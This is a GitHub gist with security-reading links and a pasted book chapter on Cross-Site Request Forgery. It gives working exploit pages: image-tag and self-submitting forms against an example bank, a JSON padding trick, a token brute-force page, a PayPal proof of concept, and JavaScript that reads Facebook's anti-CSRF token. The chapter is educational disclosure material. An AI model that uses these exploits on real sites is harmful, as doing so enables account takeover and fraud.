Skip to content

Instantly share code, notes, and snippets.

@prateekkalra
Created January 21, 2020 04:31
Show Gist options
  • Save prateekkalra/c9377c64f7b4124c9742a5d6ea67bbc1 to your computer and use it in GitHub Desktop.
Save prateekkalra/c9377c64f7b4124c9742a5d6ea67bbc1 to your computer and use it in GitHub Desktop.
linkss.txt
https://www.guru99.com/web-security-vulnerabilities.html
https://auth0.com/blog/hashing-passwords-one-way-road-to-security/
https://crackstation.net/hashing-security.htm
https://blog.mozilla.org/webdev/2012/06/08/lets-talk-about-password-storage/
https://www.thesslstore.com/blog/difference-encryption-hashing-salting/
https://howhttps.works/https-ssl-tls-differences/
veracode.com/security/insecure-crypto
Cross-site request forgery (CSRF) is another common web vulnerability, in which
an attacker tricks the victim's browser into generating requests to a website which
performs certain actions on behalf of the logged in user or the victim. The web server
processing the request executes the desired actions of the request, as it looks similar
to any normal request generated by the users' browser. CSRF vulnerabilities can vary
a lot in severity; benign ones can change settings or post on someone's behalf, but
critical ones can result in password change, account takeover, and so on.
CSRF has been commonly featured in the OWASP Top-10 vulnerability list for the
past few years. It's a widely misunderstood vulnerability by developers who often
fail to understand the root cause of the issue, thereby implementing half-baked
solutions to prevent the CSRF problem. I shall attempt to explain CSRF in a more
technical fashion.
In this chapter, we will cover the following topics:
• Introducing CSRF
• Exploiting POST -request based CSRF
• How developers prevent CSRF?
• PayPal's CSRF vulnerability to change phone numbers
• Exploiting CSRF in JSON requests
• Using XSS to steal anti-CSRF tokens
• Exploring pseudo anti-CSRF tokens
• Flash comes to the rescue
[ 83 ]Cross-Site Request Forgery
Introducing CSRF
Consider a banking web application, which transfers money to another user based
on his username. The following URL is generated for the same:
https://bank.example.com/transfer/money?username=John&amount=500
So, assuming that the user is logged in and the preceding URL is received by the
server of the banking application, it will generously transfer 500 dollars to the
username John . Now this is perfectly okay until someone with evil intention
creates a webpage with the following content and hosts it somewhere:
<html>
<head>
</head>
<body>
<img src="https://bank.example.com/transfer/
money?username=Attacker&amount=2500"/>
</body>
</html>
If a logged in user of the banking application views the above page, the browser will
try to load the image, which actually is a URL to transfer money to the attacker with
the amount 2500 dollars. In an attempt to load the image, a GET request will be sent
to the server of the banking application; however, the server will process this request
as a legitimate request initiated by the logged in user or the victim and transfer the
money to the attacker's account. The attack goes very silently and stealthily without
a trace.
Now, some developers attempt to fix this problem by switching the browser-server
communication for critical actions to a POST request in the hope of fixing this, but
sadly this is one of the worst ideas ever because CSRF vulnerability exists in POST
requests as well. I'll explain this later in this chapter.
[ 84 ]
www.ebook3000.comChapter 4
Source—https://code.google.com/p/gsoc2011-csrf-protection/
The preceding diagram describes a CSRF scenario with respect to a stock-exchange
website. stocks.example.org assumes the user is already logged into the website
and has an active session, and the following things are depicted:
• A malicious page is hosted at www.example.org
• The malicious page contains an image tag to load a URL to transfer shares
• The malicious page is run in the browser and then it sends a request to the
stocks.example.org server to transfer shares, without the user becoming
aware of anything.
[ 85 ]Cross-Site Request Forgery
Exploiting POST-request based CSRF
As we discussed before, developers often make the mistake of moving to POST
requests for critical actions, based on a website, by changing actions into forms
while assuming that a form's POST request will not get forged. But in reality this
can be very well forged—in this case the attacker uses a self-submitting form to
accomplish the same.
A self-submitting form hosted by an attacker looks like the following:
<html>
<head>
</head>
<body onload=document.getElementById('xsrf').submit()>
<form id='xsrf' method="post" action="
https://bank.example.com/transfer/money">
<input type='hidden' name='username' value='John'>
</input>
<input type='hidden' name='amount' value='500'>
</input>
</form>
</body>
</html>
The preceding code is for the same example as I explained earlier, but instead of GET
the developer chose to implement POST for the actions, and this piece of code will
exploit this without any hindrance.
Although we will lose some of the stealth of the CSRF attack upon submission of the
form, the vulnerable website will still open up. To avoid this, we can create another
page and load our page containing the exploit code as an iframe of 1*1 dimension,
hence after auto- or self-submitting the form, the page will remain hidden from the
eyes of the victim.
How developers prevent CSRF?
The classic method used by most developers to properly fix this vulnerability is by
adding a secret token or nonce, called an anti-CSRF token, to every sensitive request,
which is then verified by the server for authenticity.
Let's come back to our banking web application and see how it can be fixed by
adding a secret token alongside other request parameters.
[ 86 ]
www.ebook3000.comChapter 4
Assuming the user is logged into the banking application, the server assigns his
session with a unique anti-CSRF token, say ABC123 , to all sensitive forms and URLs.
Now to transfer 500 dollars to John the URL would become the following:
https://bank.example.com/transfer/money?username=John&amount=500&toke
n=ABC123
This token parameter's value will be checked and validated by the server with
respect to the session of the logged-in user, and if they mismatch then the transfer
will be denied. This concept makes use of the fact that a fairly long alphanumeric
token will get very difficult for an attacker to either guess or to use brute force.
Facebook's form and links contain an anti-CSRF token with the name fb_dtsg and
the value AQHP05SkQmqT as follows:
To add anti-CSRF protection tokens automatically, there are known libraries that
developers can use such as OWASP CSRFGuard.
Other techniques include inserting the token in request headers, checking the origin
header, and so on.
PayPal's CSRF vulnerability to change
phone numbers
In 2013, I disclosed a very serious CSRF vulnerability to the online payment giant
PayPal. This vulnerability allowed a malicious attacker to silently change the number
of a PayPal user, thus aiding the attacker to take over the account through the
password reset option.
[ 87 ]Cross-Site Request Forgery
Well, I was checking my PayPal balance sheet back then and as soon as I tried to
log into the web application of PayPal, I was prompted with an option to add and
confirm a number with my PayPal account as seen in the following screenshot:
As soon as I clicked on Send Code a one-time password was received on my
number, and looking at my account settings page I saw the number was changed
to the newer one which I requested the code for, even though I didn't submit the
OTP to PayPal.
The most shocking thing was the fact that the request, which was sent to PayPal after
click Send Code, had no anti-CSRF token or protection of any kind. This meant it
was vulnerable to a CSRF vulnerability which, when exploited, could have changed
the phone number of the victim user to a controlled phone number. This would have
the effect of an account takeover through the password-reset option of PayPal.
[ 88 ]
www.ebook3000.comChapter 4
I immediately developed a proof of concept exploit and sent an e-mail to PayPal's
security team explaining the criticality of the exploit; they responded and fixed this
quickly.
There was a CSRF issue in the POST request and the exploit is as follows:
<html>
<head>
</head>
<body onload=document.getElementById('xsrf').submit()>
<form id='xsrf' method="post"
action="https://www.paypal.com/webapps/customerprofile/
phone/confirm">
<input type='hidden' name='formAction' value='edit'>
</input>
<input type='hidden' name='actionId' value='doAction'>
</input>
<input type='hidden' name='phoneType' value='MOBILE'>
</input>
<input type='hidden' name='countryCode' value='IN'>
</input>
<input type='hidden' name='phoneNumber' value='9431194311'>
</input>
<input type='hidden' name='phoneHasErrors' value='true'>
</input>
<input type='hidden' name='sendCode' value='true'>
</input>
</form>
</body>
</html>
This is a self-submitting form.
[ 89 ]Cross-Site Request Forgery
Exploiting CSRF in JSON requests
JSON is a popular format to exchange data over the Internet in client-server
architectures. These days there's a growing trend in which developers are utilizing
JSON for browser to server communication.
A JSON-based POST data looks like the following:
In terms of our CSRF exploitation scenario, the problem arises with the fact
that there are no query parameters with the JSON format, which are a must with
self-submitting forms. To bypass this, we can use a self-submitting form, with a
hidden input with only a name attribute but no value. In other words, the name will
contain the JSON payload to exploit the CSRF. We'll have to change the encoding
type to text/plain for sanity. The exploit code will look like the following:
<html>
<head>
</head>
<body onload=document.getElementById('xsrf').submit()>
<form id="xsrf" action="
https://bank.example.com/transfer/money" method=post
enctype="text/plain" >
<input name='{"username":"Attacker","amount":2500}'
type='hidden'>
</form>
</body>
</html>
[ 90 ]
www.ebook3000.comChapter 4
The POST request generated will be as follows:
You may notice a trailing = sign after the JSON payload, this will cause many servers
to reject this JSON as it's not a valid one after all. We can fix this thing by adding
another JSON attribute and then breaking it into the name and value parts of the
hidden input:
<html>
<head>
</head>
<body onload=document.getElementById('xsrf').submit()>
<form id="xsrf" action="
https://bank.example.com/transfer/money"
method=post enctype="text/plain" >
<input name='{"username":"Attacker","amount":2500,
"padding":"' value='garbage"}' type='hidden'>
</form>
</body>
The resulting POST will be as follows:
We can clearly see how this trick allowed us to build a proper JSON; and when
this data is sent as a POST request, the server will happily accept the username and
amount fields and ignore the one with the name padding as it does not need it. So
this is how you exploit JSON-based CSRF.
[ 91 ]Cross-Site Request Forgery
Using XSS to steal anti-CSRF tokens
If we have an XSS vulnerability in the web application, then by inserting appropriate
JavaScript code we can steal the token and then use that to build a CSRF exploit (a
self-submitting form and so on).
In the following image I've simulated an XSS vulnerability in Facebook through
the Developer Console of Chrome, inserted the following code, which will grab
the CSRF token from the hidden input with the name fb_dtsg and display it in the
browser as shown in the screenshot following the code:
var csrf = document.getElementsByTagName("input")['fb_dtsg'].value;
alert('Your CSRF protection token fb_dtsg has value '+csrf);
Let's take a look at the following screenshot:
It seems plain and simple, right? Similarly, we can use the csrf variable from the
JS code, inject it into a self-submitting form through DOM manipulations, and then
make the form auto-submit itself. I will leave this as an exercise.
[ 92 ]
www.ebook3000.comChapter 4
Exploring pseudo anti-CSRF tokens
There are certain cases where the CSRF tokens are injected into forms and sensitive
URLs but are rarely checked and validated on the server side.
That being said, I recall a CSRF vulnerability in Facebook's AppCenter, uncovered by
an Indian researcher called Amol Naik, in which he explained how he managed to
bypass the AppCenter authentication (the AppCenter is basically a marketplace from
which users can install different apps/games to their Facebook profile).
In the authentication phase Amol saw that Facebook was correctly sending their anti-
CSRF token fb_dtsg alongside the approval request, however, on the server side, the
request was not getting validated and was ignored, which simply meant that their
token was of no use at all. Amol proceeded and removed the fb_dtsg parameter
from the request altogether and the AppCenter app was still getting accepted.
So, while testing an application, we should always try to remove the CSRF token
parameter/header from the request and check whether the server accepts or rejects
the request altogether. In fact, we can also perform the following observations to
check the validation of the anti-CSRF tokens:
• If currently logged in as user A then use the CSRF token of any other user B
and check if the request of A is allowed via B's token. Then use this logic to
bypass the CSRF protection.
• Don't delete the anti-CSRF token parameter but put a blank inside its value
and see if it works.
• Put a random string with a similar length to that of the anti-CSRF token.
Check to see if that works.
• Check if the CSRF token is common to all users. If so, then use the token to
construct an exploit.
Low entropy or guessable tokens are another thing we can take advantage of.
Consider a scenario where the CSRF tokens are only numbers in the range 1-100 or
1-1000 or similar variations. In this type of case we can use a brute force approach in
the CSRF exploit to guess the correct token.
Let's revisit the banking application again, this time with a weak token range to
protect from a CSRF attack. We know the application can only have and accept CSRF
tokens between the range 1-100. We can create an exploit like the following:
<html>
<head></head>
<body>
[ 93 ]Cross-Site Request Forgery
<img src="https://bank.example.com/transfer/
money?username=Attacker&amount=2500&token=1"/>
<img src="https://bank.example.com/transfer/
money?username=Attacker&amount=2500&token=2"/>
<img src="https://bank.example.com/transfer/
money?username=Attacker&amount=2500&token=3"/>
<img src="https://bank.example.com/transfer/
money?username=Attacker&amount=2500&token=4"/>
<img src="https://bank.example.com/transfer/
money?username=Attacker&amount=2500&token=5"/>
...
<img src="https://bank.example.com/transfer/
money?username=Attacker&amount=2500&token=100"/>
</body>
</html>
Now that this CSRF exploit page will load URLs in an image tag with token values
from 1-100, this will effectively make sure that all possible values in the range of
tokens are hit. There, out of a hundred attempts, one will definitely succeed. We can
trim the exploit by creating image tags dynamically through JavaScript and looping
them a hundred times.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment